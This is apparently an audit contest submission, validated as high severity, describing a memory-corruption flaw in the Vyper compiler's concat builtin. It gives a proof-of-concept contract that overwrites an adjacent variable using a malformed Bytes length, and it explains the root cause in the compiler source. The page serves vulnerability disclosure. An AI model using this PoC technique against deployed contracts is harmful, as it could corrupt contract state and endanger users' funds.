Updates
160,000 USDC
View results
Submission Details
Severity: high
Valid

concat memory corruption vulnerability

Summary

concat does not strictly check concat_ofst, which will lead to modification of other variables and damage to memory.

Vulnerability Details

POC Code:

event MyEvent:
    value: uint256
	
@external
def __init__():
    pass

@external
def test():
    y : uint256 = 0
    slen : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639904 # 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0
    s1 : Bytes[32] = b"\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08"
    b1 : bytes32 = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef
    s2 : Bytes[32] = slice(s1, 32, slen)
    x : uint256 = 1
    y  = len(concat(s2, s2, s2))
    log MyEvent(x)
    assert x == convert(0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef, uint256)

In the above code, concat(s2,s2,s2) ultimately results in modifying the variable x to 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef.

ROOT CAUSE:

  1. concat does not strictly check whether the range of concat_ofst is within the memory where it is located.

vyper\builtins\functions.py line: 528

def build_IR(self, expr, context):

    args = [Expr(arg, context).ir_node for arg in expr.args]
    if len(args) < 2:
        raise StructureException("Concat expects at least two arguments", expr)

    # Maximum length of the output
    dst_maxlen = sum(
        [arg.typ.maxlen if isinstance(arg.typ, _BytestringT) else arg.typ.m for arg in args]
    )

    # TODO: try to grab these from semantic analysis
    if isinstance(args[0].typ, StringT):
        ret_typ = StringT(dst_maxlen)
    else:
        ret_typ = BytesT(dst_maxlen)

    # Node representing the position of the output in memory
    dst = IRnode.from_list(
        context.new_internal_variable(ret_typ),
        typ=ret_typ,
        location=MEMORY,
        annotation="concat destination",
    )

    ret = ["seq"]
    # stack item representing our current offset in the dst buffer
    ofst = "concat_ofst"

    # TODO: optimize for the case where all lengths are statically known.
    for arg in args:
        dst_data = add_ofst(bytes_data_ptr(dst), ofst)

        if isinstance(arg.typ, _BytestringT):
            # Ignore empty strings
            if arg.typ.maxlen == 0:
                continue

            with arg.cache_when_complex("arg") as (b1, arg):
                argdata = bytes_data_ptr(arg)

                with get_bytearray_length(arg).cache_when_complex("len") as (b2, arglen):
                    do_copy = [
                        "seq",
                        copy_bytes(dst_data, argdata, arglen, arg.typ.maxlen),
                        ["set", ofst, ["add", ofst, arglen]],
                    ]
                    ret.append(b1.resolve(b2.resolve(do_copy)))

        else:
            ret.append(STORE(dst_data, unwrap_location(arg)))
            ret.append(["set", ofst, ["add", ofst, arg.typ.m]])

    ret.append(STORE(dst, ofst))

    # Memory location of the output
    ret.append(dst)

    return IRnode.from_list(
        ["with", ofst, 0, ret], typ=ret_typ, location=MEMORY, annotation="concat"
    )

At line 558, "dst_data = add_ofst(bytes_data_ptr(dst), ofst)" calculates the dst to be written.

At line 572, ["set", ofst, ["add", ofst, arglen]] updates ofst.

Neither of these two places checks whether ofst is reasonable or whether the calculation overflows.
As a result, malformed input can be controlled to modify other variables through concat, which can eventually destroy the entire memory data.

In the above POC code, the variable x is just in front of the output Bytes generated by concat. We pass in a malformed Bytes object s2 with a length of 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 and join 3 such objects through concat. Finally, the variable x was modified to 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef.

Impact

High Risk

Recommendations

Updates

Lead Judging Commences

patrickalphac Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

concat built-in can corrupt memory

KuroHashDit Submitter
over 1 year ago
patrickalphac Auditor
over 1 year ago
patrickalphac Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

concat built-in can corrupt memory

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.